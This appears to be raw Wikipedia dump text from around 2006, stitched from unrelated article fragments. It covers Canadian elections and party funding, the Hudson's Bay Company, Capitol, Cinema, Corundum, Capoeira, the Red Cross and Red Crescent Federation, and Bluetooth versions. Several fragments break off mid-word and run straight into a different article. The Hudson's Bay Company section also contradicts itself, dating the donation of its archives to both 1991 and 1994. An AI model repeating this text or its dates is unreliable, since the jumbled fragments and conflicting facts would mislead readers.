lead three consecutive majority governments since [[1945]]. However, in 2004 the Liberals lost seats in Parliament, going from 172 of 301 Parliamentary seats to 135 of 308, and from 40.9% to 36.7% in the popular vote. The [[Canadian Alliance]], which did well in western Canada in the 2000 election, but was unable to make significant inroads in the East, merged with the [[Progressive Conservative Party of Canada|Progressive Conservative Party]] to form the [[Conservative Party of Canada]] in late [[2003]]. They proved to be moderately successful in the 2004 campaign, gaining seats from a combined Alliance-PC total of 78 in 2000 to 99 in 2004. However, the new Conservatives lost in popular vote, going from 37.7% in 2000 down to 29.6%. This was the first minority government in Canada federally since 1979-1980. That government, led by [[Joe Clark]], lasted only seven months. The situation, however, was different from the current one. The Clark government was elected in part because many voters did not want to support the Liberal party, but they did not expect that the Progressive Conservatives would win enough seats for a minority government. In contrast, polls taken during the 2004 election showed that many Canadians wanted a minority government. Minority governments are not always short-lived. While they have not generally lasted four years, there have been minority governments in the time before 1979 that were fairly stable and able to pass legislation. Minority government situations in Canada may become somewhat difficult to manage though, as in the past there were only three parties that had a significant number of seats in parliament (fourth parties were at times represented in small numbers), although the [[Third party (Canada)|third party]] has changed over time. This meant an alliance between the governing and third parties would have a solid majority. Since the 1930s, the third party was usually the [[Cooperative Commonwealth Federation]] or later the [[New Democratic Party]], which was created when an alliance was formed between labour unions and the Co-operative Commonwealth Federation. The [[Social Credit Party of Canada]] was the third party at times. Before this, there were other parties that had significant influence; such as the [[Progressive Party of Canada|Progressive Party]] in the 1920s. No such governing coalition was able to form in the 38th Parliament. ===Party funding reform=== Funding changes were made by the last Liberal government to deal with the issues of fair access to funding for parties running for seats in the federal parliament. Previously the Liberal Party and the Progressive Conservative Party had benefited the most from the system as they received much more business funding than two other parties, the [[New Democratic Party]] and the [[Bloc Québécois]]. The New Democratic Party traditionally got less funding from business, but receives a larger percentage of union
re!&quot; (&quot;Free Trade! Free Trade!&quot;), the HBC could no longer use the courts to enforce their monopoly on the settlers of Red River. In [[1870]] the trade monopoly was abolished and trade in the region was opened to any [[entrepreneur]]. The company relinquished its ownership of Rupert's Land under the [[Rupert's Land Act]] of [[1868]] enacted by the Parliament of the newly formed Dominion of Canada. Throughout the [[1820s]] and [[1830s]] the company controlled nearly all trading operations in the [[Oregon Country]], based out of the company headquarters at [[Fort Vancouver]] on the [[Columbia River]]. Although authority over the region was nominally shared by the U.S. and Britain through the [[Anglo-American Convention of 1818]], company policy, enforced via Chief [[John McLoughlin]] of the company's Columbia District, was to actively discourage U.S. settlement of the territory. The company's effective monopoly on trade virtually forbade any settlement in the region. In the early [[1840s]] it established an outpost at [[Fort Hall]] in present-day southeastern [[Idaho]] along the route of the [[Oregon Trail]], where the outpost director displayed the abandoned wagons of discouraged settlers to those seeking to move west along the trail. The company's stranglehold on the region was broken by the first successful large wagon train to reach Oregon in [[1843]], led by [[Marcus Whitman]]. In the years that followed, thousands of [[emigrant]]s poured into the [[Willamette Valley]] and in [[1846]] the U.S. acquired full authority of the most settled areas of the Oregon Country south of the [[49th parallel]]. McLoughlin, who had once turned away would-be settlers as company director, now welcomed them from his general store at [[Oregon City, Oregon|Oregon City]] and was later proclaimed the &quot;Father of [[Oregon]]&quot;. The company retains no presence in the [[Pacific Northwest]] of the United States today. ===Modern operations=== [[Image:Logo 2005.gif|thumb|left|75px| The current HBC logo]] One aspect of the company's operations was the Hudson's Bay Company Stores, trading posts that were established across northern Canada. Today, this is the only part of the company operation remaining, in the form of department stores under the name ''The Bay''. Many Hudson's Bay Company stores were, until quite recently, the only stores in remote towns. More recently, stores in major downtown locations have been transformed into boutiques. In 1970, on the 300th birthday of the company, Head Office functions were transferred from London, England to [[Winnipeg]], [[Manitoba]], [[Canada]]. As the company expanded into the east, head office functions were moved to Toronto, Ontario, Canada. [[image:hudsonsbayco.jpg|right|thumb|300px|The Hudson's Bay Company building in Montreal]]Today there are three main retail divisions: [[The Bay]], [[Zellers]], and [[Home Outfitters]]. There is also one store in the [[Greater Toronto Area]] known as [[Designer Depot]] that opened in [[November 2004]] as part of the new [[Vaughan Mills]] outlet mall. Six additional stores have since opened, in [[Ontario]] and [[Alberta]]. In addition, HBC also owns [[Fields (department store)|Fields]], a smaller discount chain with stores in [[British Columbia]] and [[Alberta]]. ''Northern Stores'' are no longer operated by HBC, but by a corporation organized in [[1987]] under the name The North West Company. [[Simpson's]] department stores which were acquired by the Hudson's Bay Company in [[1979]] were converted to ''The Bay'' stores in 1991. In the [[1970s]] and [[1980s]], HBC operated a chain of catalogue stores under the name ''Shop-Rite''. In these stores, little merchandise was displayed openly: customers made their selections from catalogues, and staff would retrieve the merchandise from store-rooms. This form of retailing, now largely disappeared, was referred to as &quot;catalogue showroom&quot;. [[Image:The_Bay.png|right|thumb|150px|''The Bay'' logo]] The legacy of the HBC has been maintained in part by the detailed record-keeping and archiving of material by the Company. Prior to 1974, the records of the HBC were kept in the [[London]] office headquarters. The HBC opened an Archives department to researchers in 1931. In 1974, the Hudson's Bay Company Archives were transferred from London to their Canadian headquarters in Winnipeg. In 1991 the archival records of the company were donated to the [[Manitoba Archives]] in [[Winnipeg, Manitoba|Winnipeg]], [[Manitoba]]. The collection was opened to public access in 1975. In [[1987]] the HBC sold off its Canadian fur auction business to Hudson's Bay Fur Sales Canada (this company is now known as [[North American Fur Auctions]]). In [[1991]], [[the Bay]] agreed to stop selling [[fur]] in response to complaints from people opposed to killing animals for this purpose. However, in [[1997]], the Bay reopened its fur salons to meet the demand of consumers desiring to buy fur. [[Animal rights]] groups such as [[Freedom for Animals]] have been campaigning to get the Bay to once again stop selling fur. In 1994, the HBC donated the Company records to the Province of Manitoba. The appraised value of the records was nearly $60 million. A foundation, funded through the tax savings resulting from the donation, was established to support the operations of the HBCA as a division of the Archives of Manitoba, along with other activities and programs. There are more than two kilometres of documents as well as hundreds of microfilm reels now stored in a special climate-controlled vault in the Manitoba Archives Building. In December of 2003, Maple Leaf Heritage Investments, a [[Nova Scotia]]-based company that was created to acquire shares of Hudson's Bay Company, announced that it was considering making an offer to acquire all or some of the common shares of Hudson's Bay Company. Maple Leaf Heritage Investments is a subsidiary of B-Bay Inc., whose CEO and chairman is [[United States|American]] businessman, Jerry Zucker, the head of The InterTech Group Inc., a conglomerate that is the second-largest private firm in the state of [[South Carolina]]. (Note: this is not [[Jerry Zucker]], the Hollywood producer.) On March 2, 2005, the company was announced as the new clothing outfitter for the Canadian [[Olympic Games|Olympic]] team. The $100 million deal means that the Bay will provide clothing for the 2006, 2008, 2010, and 2012 games. The company's stock trades on the [[Toronto Stock Exchange]] under the symbol HBC. ==Corporate governance== Current members of the [[board of directors]] of the Hudson's Bay Company are: [[David Colceugh]], [[Yves Fortier]], [[David Galloway]], [[Paul Gobeil]], [[Kerry Hawkins]], [[George Heller]], [[Barbara Hislop]], [[James Hume]], [[Donna Kaufman]], [[Peter Kaursland]], [[Thomas A. Knowlton]], and [[Peter Mills]]. ===Governors=== *[[Prince Rupert of the Rhine]] ([[1670]]-[[1682]]) *[[James II of England|Prince James, Duke of York]] ([[1683]]-[[1685]]) *[[John Churchill, 1st Duke of Marlborough|John Churchill, Earl of Marlborough]] ([[1685]]-[[1692]]) *Sir [[Stephen Evans]] ([[1692]]-[[1696]]) *Sir [[William Trumbull]] ([[1696]]-[[1700]]) *Sir Stephen Evans ([[1700]]-[[1712]]) *Sir [[Bibye Lake, Sr.]] ([[1712]]-[[1743]]) *[[Benjamin Pitt]] ([[1743]]-[[1746]]) *[[Thomas Knapp]] ([[1746]]-[[1750]]) *Sir [[Atwell Lake]] ([[1750]]-[[1760]]) *Sir William Baker ([[1760]]-[[1770]]) *Sir [[Bibye Lake, Jr.]] ([[1770]]-[[1782]]) *[[Samuel Wegg]] ([[1782]]-[[1799]]) *Sir [[James Winter Lake]] ([[1799]]-[[1807]]) *[[William Mainwaring]] ([[1807]]-[[1812]]) *[[Joseph Berens]] ([[1812]]-[[1822]]) *Sir [[John Henry Pelly]] ([[1822]]-[[1852]]) *[[Andrew Wedderburn Colvile]] ([[1852]]-[[1856]]) *[[John Shepherd]] ([[1856]]-[[1858]]) *[[Henry Hulse Berens]] ([[1858]]-[[1863]]) *Sir [[Edmund Walker Head]] ([[1863]]-[[1868]]) *[[John Wodehouse, 1st Earl of Kimberley]] ([[1868]]-[[1869]]) *Sir [[Stafford Henry Northcote, 1st Earl of Iddesleigh|Stafford Henry Northcote]] ([[1869]]-[[1874]]) *[[George Joachim Goschen]] ([[1874]]-[[1880]]) *[[Eden Colvile]] ([[1880]]-[[1889]]) *[[Donald Alexander Smith, 1st Baron Strathcona and Mount Royal]] ([[1889]]-[[1914]]) *Sir [[Thomas Skinner]] ([[1914]]-[[1915]]) *Sir [[Robert Molesworth Kindersley]] ([[1916]]-[[1925]]) *[[Charles Vincent Sale]] ([[1925]]-[[1931]]) *Sir [[Patrick Ashley Cooper]] ([[1931]]-[[1952]]) *[[William Keswick]] ([[1952]]-[[1965]]) *[[Derick Heathcoat Amory, 1st Viscount Amory]] ([[1965]]-[[1970]]) *[[George T. Richardson]] ([[1970]]-[[1982]]) *[[Donald S. McGiverin]] ([[1982]]-[[1994]]) *[[David E. Mitchell]] ([[1994]]-[[1997]]) *[[L. Yves Fortier]] ([[1997]]-present) ==See also== *[[HBC Rewards]] *[[British East India Company]] *[[Dutch East India Company]] *[[Dutch West India Company]] *[[John McLoughlin]] *[[British colonization of the Americas]] *[[List of department stores#Canada|List of Canadian department stores]] ==External links== * [http://www.hbc.com Hudson's Bay Company] * [http://www.northwest.ca North West Company] organized 1987 * [http://www.gov.mb.ca/chc/archives/hbca/index.html Hudson's Bay Company Archives] held by the Government of Manitoba * Full text of the ''[http://www.gutenberg.net/etext/6580 Charter and Supplemental Charter of the Hudson's Bay Company]'' from [[Project Gutenberg]] * [http://www.canadiana.org/hbc/ Exploration, the Fur Trade and Hudson's Bay Company] * [http://www.pc.gc.ca/lhn-nhs/mb/yorkfactory/edu/visites-tours_e.asp York Factory National Historic Site of Canada] * [http://www.pc.gc.ca/lhn-nhs/mb/fortgarry/index_e.asp Lower Fort Garry National Historic Site of Canada] * [http://www.pc.gc.ca/lhn-nhs/mb/prince/index_e.asp Prince of Wales Fort National Historic Site of Canada] * [http://www.pc.gc.ca/lhn-nhs/bc/langley/index_e.asp Fort Langley National Historic Site of Canada] * [http://www.pc.gc.ca/lhn-nhs/qc/lachine/index_e.asp Fur Trade at Lachine National Historic Site] * {{gu
timestamp> <contributor> <username>Swid</username> <id>89326</id> </contributor> <minor /> <comment>+ cats</comment> <text xml:space="preserve">[[image:Photo uscapitol.jpg|right|200px|thumbnail|Photo of the U.S. Capitol Building, Washington, DC, December 2003.]] '''Capitol''' comes from the [[Latin]] ''[[Capitoline Hill|Capitolinus Mons]]'' in [[Ancient Rome]]. It was the seat of the [[Roman Republic]] and today is the seat of the Mayor of [[Rome]]. ==Capitols in the United States== ''Capitol'' is the name generally given in the [[United States]] to the [[building]] in which the [[executive branch|executive]] and/or [[legislative branch]]es of local or national [[government]] are housed. The [[United States Capitol]] houses the [[Congress of the United States]]. A capitol building is sometimes called a statehouse. The [[U.S. Capitol]] is located in [[Washington, D.C.]] In [[1705]], the first [[Capitol (Williamsburg, Virginia)|Capitol]] building in America was built at [[Williamsburg, Virginia]], where it was reconstructed and is a centerpiece of the restored area of [[Colonial Williamsburg]]. ''See also: [[List of U.S. state capitols]]'' ==Other capitols== The Capitole de Toulouse is the seat of the municipal administration of [[Toulouse]]. The Capitouls (governing magistrates) of Toulouse embarked on the construction of the original building in 1190, to provide a seat for the government of a province growing in wealth and influence. The name ''Capitole'' referred not only to the Roman Capitol but also to the ''capitulum'' which was the [[chapter (religion)|chapter]] of the governing magistrates. The current façade dates from 1850, built according to plans by Guillaume Cammas. The eight columns represent the original eight capitouls. In 1873, [[Eugène Viollet-le-Duc]] built a belltower typical of the style of northern France. Only the Henri IV courtyard and gate survive from the original mediaeval buildings. Today the Capitole houses the city hall, as well as an opera company and symphony orchestra. The ''Salle des Illustres'' contains 19th century artworks. The [[Capitolio Nacional]] houses the Congress of Colombia. The [[Capitolio de Puerto Rico]] houses the legislature of Puerto Rico. The [[Caracas#Capitolio_Nacional|Capitolio Nacional]] houses the [[National Assembly of Venezuela]]. ==See also== ''Capitol'' references other subjects, too. Among other things, it references: *''[[Capitol (TV series)|Capitol]]'', a [[soap opera]] which ran on [[CBS]] from [[1982]] to [[1987]] *[[Capitol (board game)|Capitol]], a [[List of Ancient Rome-related topics|Roman]]-themed [[German-style board game]] *[[Capitol Records]], a [[United States|US]] [[record label]], part of [[EMI]] *[[Capitol Air Lines]], an airline *[[Capital Airlines]], an airline *[[Capitol Air (band)]] a Christian music band *[[Capitol Cinema/Theatre|Capitol]] was a common name for a cinema or theatre [[Category:Legislative buildings|*]] [[Category:Buildings and structures]] [[de:Kapitol]] [[fr:Capitole (Homonymie)]] [[no:Capitol]] [[pl:Kapitol]]</text> </revision> </page> <page> <title>Cinema</title> <id>5973</id> <revision> <id>36354684</id> <timestamp>2006-01-23T13:26:32Z</timestamp> <contributor> <username>Commander Keane</username> <id>169380</id> </contributor> <minor /> <comment>Reverted edits by [[Special:Contributions/213.106.248.45|213.106.248.45]] ([[User talk:213.106.248.45|talk]]) to last version by Commander Keane</comment> <text xml:space="preserve">'''Cinema''' can refer to: * [[Film]], motion pictures or movies * [[Movie theater]], a building in which films are shown * [[Cinematography]], the art of recording visual images {{disambig}} [[el:&amp;#922;&amp;#953;&amp;#957;&amp;#951;&amp;#956;&amp;#945;&amp;#964;&amp;#959;&amp;#947;&amp;#961;&amp;#940;&amp;#966;&amp;#959;&amp;#962;]]</text> </revision> </page> <page> <title>Corundum</title> <id>5974</id> <revision> <id>40554315</id> <timestamp>2006-02-21T11:17:20Z</timestamp> <contributor> <username>Baronjonas</username> <id>64199</id> </contributor> <minor /> <comment>spelling</comment> <text xml:space="preserve">{| border=1 cellspacing=0 align=right cellpadding=0 width=250 valign=top style=&quot;margin-left:1em&quot; |----- align=center bgcolor=&quot;#9966FF&quot; !colspan=2 align=center|Corundum |----- align=center !colspan=2|[[Image:Corundum_USGOV.jpg|center|thumb|Corundum]] |----- align=center bgcolor=&quot;#9966FF&quot; !colspan=2|General |----- |Category||[[Mineral]] |----- |[[Chemical formula]]|| [[aluminium oxide]], Al&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt; |----- align=&quot;center&quot; bgcolor=&quot;#9966FF&quot; !colspan=2|Identification |----- | Colour || Brown to grey, less often red, blue, white, yellow. |----- | [[Crystal habit]] || Steep bipyramidal, tabular, prismaticl, rhombohedral crystals, massive or granular. |----- | [[Crystal structure|Crystal system]] || [[Trigonal]] Hexagonal Scalenohedral bar32/m |----- | [[Crystal twinning|Twinning]] || Polysynthetic twinning common |----- | [[Cleavage (crystal)|Cleavage]]|| None - parting in 3 directions |----- | [[Fracture]]|| Conchoidal to uneven |----- | [[Mohs Scale]] hardness || 9 |----- | Luster|| Adamantine to vitreous |----- | [[Refractive index]]|| nω=1.768 - 1.772 nε=1.760 - 1.763, Biref 0.009 |----- | [[Pleochroism]]|| None |----- | [[Streak]]|| White |----- | [[Specific gravity]]|| 3.95-4.1 |----- | [[Fusibility]]|| Infusible |----- | [[Solubility]]|| Insoluble |----- align=&quot;center&quot; bgcolor=&quot;#9966FF&quot; !colspan=2|Major varieties |----- | [[Sapphire]] || Any color except red |----- | [[Ruby]]|| Red |----- | [[Emery (mineral)|Emery]] || Granular |----- |} '''Corundum''' is the [[crystal]]line form of [[aluminium oxide]] and one of the [[rock (geology)|rock]]-forming [[mineral]]s. Corundum is naturally clear, but can have different colors when impurities are present. [[Transparency (optics)|Transparent]] specimens are used as [[gem]]s, called [[ruby]] if [[red]], while all other colors are called [[sapphire]]. The word ''corundum'' comes from the [[Tamil language|Tamil]] ''kurundam''. The [[oxygen]] atoms in corundum are arranged in a hexagonal [[close-packing]], with the smaller aluminium atoms occupying 2/3 of the [[octahedron|octahedral]] gaps. The coordination of the atoms are thus 6:4, compared to 4:2 for [[quartz]], which accounts for its greater hardness despite the Al-O bonds being less [[covalent bond|covalent]]. In addition to its hardness, corundum is unusual for its high [[density]] of 4.02 g/cm&lt;sup&gt;3&lt;/sup&gt; which is very high for a transparent mineral composed of the low [[atomic mass]] elements [[aluminium]] and [[oxygen]]. Due to corundum's hardness (typically 9.0), it is commonly used as an [[abrasive]] in machining, from huge machines to [[sandpaper]]. [[Emery (mineral)|Emery]] is an impure and less abrasive variety, with a [[Mohs hardness]] of 8.0. Corundum occurs as an accessory mineral in mica [[schist]], [[gneiss]] and some [[marble]]s in [[Metamorphic rocks|metamorphic terranes]]. It also occurs in low silica [[igneous]] [[syenite]] and [[nepheline syenite]] [[intrusive]]s. Other occurrences are as masses adjacent to [[ultramafic]] intrusives, associated with [[lamprophyre]] [[Dike (geology)|dikes]] and as large crystals in [[pegmatite]]s. Because of its hardness and resistance to weathering it commonly occurs as a detrital mineral in stream and beach sands. Corundum for abrasives is mined in [[Zimbabwe]], [[Russia]] and [[India]]. Historically it was mined from deposites associated with [[dunite]]s in [[North Carolina]] and from a nepheline syenite in [[Craigmont]], [[Ontario]]. [[Emery]] grade corundum is found on the [[Greek]] island of [[Naxos]] and near [[Peekskill, New York]]. Abrasive corundum is synthetically manufactured from [[bauxite]]. ==References== * Hurlbut, Cornelius S.; Klein, Cornelis, 1985, ''Manual of Mineralogy'', 20th ed., Wiley, pp. 300-302 ISBN 0471805807 * [http://www.mindat.org/min-1136.html Mindat] * [http://webmineral.com/data/Corundum.shtml Webmineral data] * [http://www.galleries.com/minerals/oxides/corundum/corundum.htm Mineral galleries] [[Category:Aluminium minerals]] [[Category:Oxide minerals]] [[Category:Superhard materials]] [[cs:Korund]] [[da:Korund]] [[de:Korund]] [[es:Corindón]] [[fr:Corindon]] [[it:Corindone]] [[lt:Korundas]] [[hu:Korund]] [[nl:Korund]] [[ja:コランダム]] [[pl:Korund]] [[pt:Corindon]] [[ru:Корунд]] [[fi:Korundi]] [[sv:Korund]] [[zh:剛玉]] [[sr:Корунд]]</text> </revision> </page> <page> <title>CallOfCthulhuGame</title> <id>5975</id> <revision> <id>15904142</id> <timestamp>2004-03-04T08:08:53Z</timestamp> <contributor> <username>Gtrmp</username> <id>38984</id> </contributor> <minor /> <text xml:space="preserve">#REDIRECT [[Call of Cthulhu (role-playing game)]]</text> </revision> </page> <page> <title>Capoeira</title> <id>5976</id> <revision> <id>42097483</id> <timestamp>2006-03-03T20:35:24Z</timestamp> <contributor> <username>Bota47</username> <id>341052</id> </contributor> <minor /> <comment>robot Adding: bg</comment> <text xml:space="preserve">[[Image:Rugendasroda.jpg|thumb|300px|right|''Capoeira or the Dance of War'' by Johann Moritz Rugendas, 1835]] '''Capoeira''' is an [[Afro-Brazilian]] [[martial art]] developed initially by African [[slaves]] in Brazil, starting in the [[Colonial Brazil|colonial period]]. It is marked by deft, tricky movements often played on the ground or completely inverted. It also has a strong [[acrobatic]] component in some versions and is always played with music. There are two main styles of c
=== ====The Mission of the Federation and its responsibilities within the Movement==== [[Image:Flag of the IFRC.svg|250px|thumb|Emblem of the Federation]] The Federation coordinates cooperation between national Red Cross and Red Crescent societies throughout the world and supports the foundation of new national societies in countries where no official society exists. On the international stage, the Federation organizes and leads relief assistance missions after emergencies like natural disasters, manmade disasters, epidemics, mass refugee flights, and other emergencies. According to the 1997 Seville Agreement, the Federation is the Lead Agency of the Movement in any emergency situation which does not take place as part of an armed conflict. The Federation cooperates with the national societies of those countries affected - each called the ''Operating National Society'' (ONS) - as well as the national societies of other countries willing to offer assistance - called ''Participating National Societies'' (PNS). Among the 187 national societies admitted to the General Assembly of the Federation as full members or observers, about 25-30 regularly work as PNS in other countries. The most active of those are the [[American Red Cross]], the [[British Red Cross]], the [[German Red Cross]], and the Red Cross societies of [[Swedish Red Cross|Sweden]] and [[Norwegian Red Cross|Norway]]. Another major mission of the Federation which has gained attention in recent years is its commitment to work towards a codified, worldwide ban on the use of [[land mine]]s and to bring medical, psychological, and social support for people injured by land mines. The tasks of the Federation can therefore be summarized as follows: * to promote humanitarian principles and values * to provide relief assistance in emergency situations of large magnitude * to support the national societies with disaster preparedness through the education of voluntary members and the provision of equipment and relief supplies * to support local health care projects * to support the national societies with youth-related activities ====Legal status and organization==== Like the ICRC, the Federation has its headquarters in Geneva. It also runs 14 permanent regional offices and has about 350 delegates in more than 60 delegations around the world. The legal basis for the work of the Federation is its constitution. The executive body of the Federation is a secretariat, led by a Secretary General. The secretariat is supported by four divisions labeled &quot;Support Services&quot;, &quot;National Society and Field Support&quot;, &quot;Policy and Relations&quot; and &quot;Movement Cooperation&quot;. The Movement Cooperation division organizes interaction and cooperation with the ICRC. The highest body of the Federation is the General Assembly which convenes every two years with delegates from all of the national societies. Among other tasks, the General Assembly elects the Secretary General. Between the convening of General Assemblies, the Governing Board is the leading body of the Federation. It has the authority to make decisions for the Federation in a number of areas. The Governing Board consists of the president and the vice presidents of the Federation, the chairman of the Finance Commission, and twenty elected representatives from national societies. It is supported by four additional commissions: &quot;Disaster Relief&quot;, &quot;Youth&quot;, &quot;Health &amp; Community Services&quot;, and &quot;Development&quot;. The symbol of the Federation is the combination of the Red Cross (left) and Red Crescent (right) on a white background (surrounded by a red rectangular frame) without any additional text. ====Funding and financial matters==== The main parts of the budget of the Federation are funded by contributions from the national societies which are members of the Federation and through revenues from its investments. The exact amount of contributions from each member society is established by the Finance Commission and approved by the General Assembly. Any additional funding, especially for unforeseen expenses for relief assistance missions, is raised by appeals published by the Federation and comes from voluntary donations by national societies, governments, other organizations, corporations, and individuals. ===National societies within the Movement=== ====Official Recognition of a national society==== National Red Cross and Red Crescent societies exist in nearly every country in the world. Within their home country, they take on the duties and responsibilities of a national relief society as defined by [[International Humanitarian Law]]. Within the Movement, the ICRC is responsible for legally recognizing a relief society as an official national Red Cross or Red Crescent society. The exact rules for recognition are defined in the statutes of the Movement. Article 4 of these statutes contains the ''&quot;Conditions for recognition of National Societies&quot;'': : ''In order to be recognized in terms of Article 5, paragraph 2 b) as a National Society, the Society shall meet the following conditions:'' :#''Be constituted on the territory of an independent State where the Geneva Convention for the Amelioration of the Condition of the Wounded and Sick in Armed Forces in the Field is in force.'' :#''Be the only National Red Cross or Red Crescent Society of the said State and be directed by a central body which shall alone be competent to represent it in its dealings with other components of the Movement.'' :#''Be duly recognized by the legal government of its country on the basis of the Geneva Conventions and of the national legislation as a voluntary aid society, auxiliary to the public authorities in the humanitarian field.'' :#''Have an autonomous status which allows it to operate in conformity with the Fundamental Principles of the Movement.'' :#''Use the name and emblem of the Red Cross or Red Crescent in conformity with the Geneva Conventions.'' :#''Be so organized as to be able to fulfill the tasks defined in its own statutes, including the preparation in peace time for its statutory tasks in case of armed conflict.'' :#''Extend its activities to the entire territory of the State.'' :#''Recruit its voluntary members and its staff without consideration of race, sex, class, religion or political opinions.'' :#''Adhere to the present Statutes, share in the fellowship which unites the components of the Movement and co-operate with them.'' :#''Respect the Fundamental Principles of the Movement and be guided in its work by the principles of international humanitarian law.'' After recognition by the ICRC, a national society is admitted as a member to the International Federation of Red Cross and Red Crescent societies. ====Activities of national societies on a national and international stage==== Despite formal independence regarding its organizational structure and work, each national society is still bound by the laws of its home country. In many countries, national Red Cross and Red Crescent societies enjoy exceptional privileges due to agreements with their governments or specific &quot;Red Cross Laws&quot; granting full independence as required by the International Movement. The duties and responsibilities of a national society as defined by International Humanitarian Law and the statutes of the Movement include humanitarian aid in armed conflicts and emergency crises such as natural disasters. Depending on their respective human, technical, financial, and organizational resources, many national societies take on additional humanitarian tasks within their home countries such as blood donation services or acting as civilian [[Emergency Medical Service]] (EMS) providers. The ICRC and the International Federation cooperate with the national societies in their international missions, especially with human, material, and financial resources and organizing on-site logistics. ==Symbols of the Movement== ===Protection symbols vs. organizational emblems=== The symbols described below have two distinctively different meanings. On one hand, the visual symbols of the Red Cross, the Red Crescent, the Red Lion with Sun and the Red Crystal serve as protection markings in armed conflicts, a denotation which is derived from and defined in the Geneva Conventions. This is called the ''protective use'' of the symbols. On the other hand, these symbols are used as distinctive logos by those organizations which are part of the International Red Cross and Red Crescent Movement. This is the ''indicative use'' of the emblems. As a protection symbol, they are used in armed conflicts to mark persons and objects (buildings, vehicles, etc.) which are working in compliance with the rules of the Geneva Conventions. In this function, they can also be used by organizations and objects which are not part of the International Red Cross and Red Crescent Movement, for example the medical services of the armed forces, civilian hospitals, and civil defense units. As protection symbols, these emblems should be used without any additional specification (textual or otherwise) and in a prominent manner which makes them as visible and observable as possible, for example by using large white flags bearing the symbol. When used as an organizational logo, these symbols only indicate that persons, vehicles, buildings, etc. which bear the symbols belong to a specific organization which is part of the International Red Cross and Red Crescent Movement (like the ICRC, the International Federation or the national Red Cross and Red Crescent societies). In this case, they should be used with an additional specification (for example &quot;American Red Cross&quot;) and not be displayed as prominently as when used as protection symbols. The Red Shield of David of the Israel society Magen David Adom can only be used for indicative purposes as it is not a recognized protection symbol according to the G
oth Hardware Device Address (BD_ADDR) transmission in the [[handshaking]] process, rendering anonymity impossible at a protocol level, which was a major set back for services planned to be used in Bluetooth environments, such as Consumerium.''''' === Bluetooth 1.1 === In version 1.1: *many errata found in the 1.0B specifications were fixed. *added support for non-encrypted channels. *''Received Signal Strength Indicator (RSSI)'' === Bluetooth 1.2 === This version is backwards compatible with 1.1 and the major enhancements include *''Adaptive [[Frequency-hopping spread spectrum]] (AFH)'', which improves resistance to [[radio frequency interference]] by avoiding using crowded frequencies in the hopping sequence *''Higher transmission speeds'' in practice *''extended Synchronous Connections (eSCO)'', which improves voice quality of audio links by allowing retransmissions of corrupted packets. *''Host Controller Interface (HCI) support for 3-wire UART'' *''HCI access to timing information'' for Bluetooth applications. === Bluetooth 2.0 === This version is backwards compatible with 1.x. The main enhancement is the introduction of ''Enhanced Data Rate (EDR)'' of 2.1 Mbit/s. This has the following effects (Bluetooth SIG, 2004): * 3 times faster transmission speed (up to 10 times in certain cases). * Lower power consumption through a reduced duty cycle. * Simplification of multi-link scenarios due to more available bandwidth. * Further improved BER ([[Bit error rate]]) performance. === The Future of Bluetooth === The next version of Bluetooth, currently code named Lisbon, includes a number of features to increase security, useability and value of Bluetooth. The following features are defined: * Atomic Encryption Change - allows encrypted links to change their encryption keys periodically, increasing security, and also allowing role switches on an encrypted link. * Extended Inquiry Response - provides more information during the inquiry procedure to allow better filtering of devices before connection. This information includes the name of the device, and a list of services, with other information. * Sniff Subrating - reducing the power consumption when devices are in the sniff low power mode, especially on links with asymmetric data flows. HId devices are expected to benefit the most with mice and keyboards increasing the battery life from 3 to 10 times those currently used. * QoS Improvements - these will enable auto and video data to be transmitted at a higher quality, especially when best effort traffic is being transmitted in the same piconet. * Simple Pairing - this improvement will radically improve the pairing experience for Bluetooth devices, while at the same time increasing the use and strength of security. It is expected that this feature will be significantly increase the use of Bluetooth. The version of Bluetooth after Lisbon, code-named Seattle, has a number of features, but the main one announced is the allignment with UltraWideBand. This will allow the use of Bluetooth profiles over the UWB radio, enabling very fast data transfers, synchronizations and file pushes, while also building on the low power idle modes of Bluetooth. The combination of a low power radio used when no data needs to be transmitted, and a high data rate radio used to transmit the bulk data could be the start of the software radios. Bluetooth, given its worldwide regulatory approval, lowest power operation, and extremely robust data transmission capabilities provides an ideal signalling channel to enable the soft radio concept to start with WiMedia UWB. == Technical information == === Communication &amp; Connection === A Bluetooth device playing the role of the &quot;master&quot; can communicate with up to 7 devices playing the role of the &quot;slave&quot;. This network of &quot;group of up to 8 devices&quot; (1 master + 7 slaves) is called a [[piconet]]. At any given time, data can be transferred between the master and 1 slave; but the master switches rapidly from slave to slave in a [[round-robin scheduling|round-robin]] fashion. (Simultaneous transmission from the master to multiple slaves is possible, but not used much in practice). Either device may switch the master/slave role at any time. Bluetooth specification allows connecting 2 or more piconets together to form a [[scatternet]], with some devices acting as a bridge by simultaneously playing the master role in one piconet and the slave role in another piconet. These devices have yet to come, though are supposed to appear next year (2007). === Setting up connections === Any Bluetooth device will transmit the following sets of information on demand *Device Name *Device Class *List of services *Technical information eg: device features, manufacturer, Bluetooth specification, clock offset Any thing may perform an &quot;inquiry&quot; to find other devices to which to connect, and any device can be configured to respond to such inquiries. However if the device trying to connect knows the address of the device it will always respond to direct connection requests and will transmit the information shown in the list above if requested for it. Use of the device's services however may require pairing or its owner to accept but the connection itself can be started by any device and be held until it goes out of range. Some devices can only be connected to one device at a time and connecting to them will prevent them from connecting to other devices and showing up in inquiries until they disconnect the other device. Every device has a unique 48-bit address. However these addresses are generally not shown in inquiries and instead friendly &quot;Bluetooth names&quot; are used which can be set by the user, and will appear when another user scans for devices and in lists of paired devices. Most phones have the Bluetooth name set to the manufacturer and model of the phone by default. Most phones and laptops will only show the Bluetooth names and special programs are required to get additional information about remote devices. This can get confusing with activities such as [[Bluejacking]] as there could be several phones in range named &quot;[[Sony Ericsson T610|T610]]&quot; for example. On [[Nokia]] phones and the [[Siemens_SX1|Siemens SX1]] the Bluetooth address may be found by entering &quot;*#2820#&quot;. On computers running [[Linux]] the address and class of a USB Bluetooth dongle may be found by entering &quot;hciconfig hci0 class&quot; as root (&quot;hci0&quot; may need to be replaced by another device name). BD Address: 00:10:60:A7:93:19 ACL MTU: 192:8 SCO MTU: 64:8 Class: 0x020005 Service Classes: Networking Device Class: Miscellaneous, Every device also has a 24-bit class identifier. This provides information on what kind of a device it is (Phone, Smartphone, Computer, Headset, etc), which will also be transmitted when other devices perform an inquiry. On some phones this information is translated into a little icon displayed beside the device's name. Bluetooth devices will also transmit a list of services if requested by another device; this also includes some extra information such as the name of the service and what channel it is on. These channels are virtual and have nothing to do with the frequency of the transmission, much like TCP ports. A device can therefore have multiple identical services. Browsing 00:0E:ED:B0:AF:34 ... 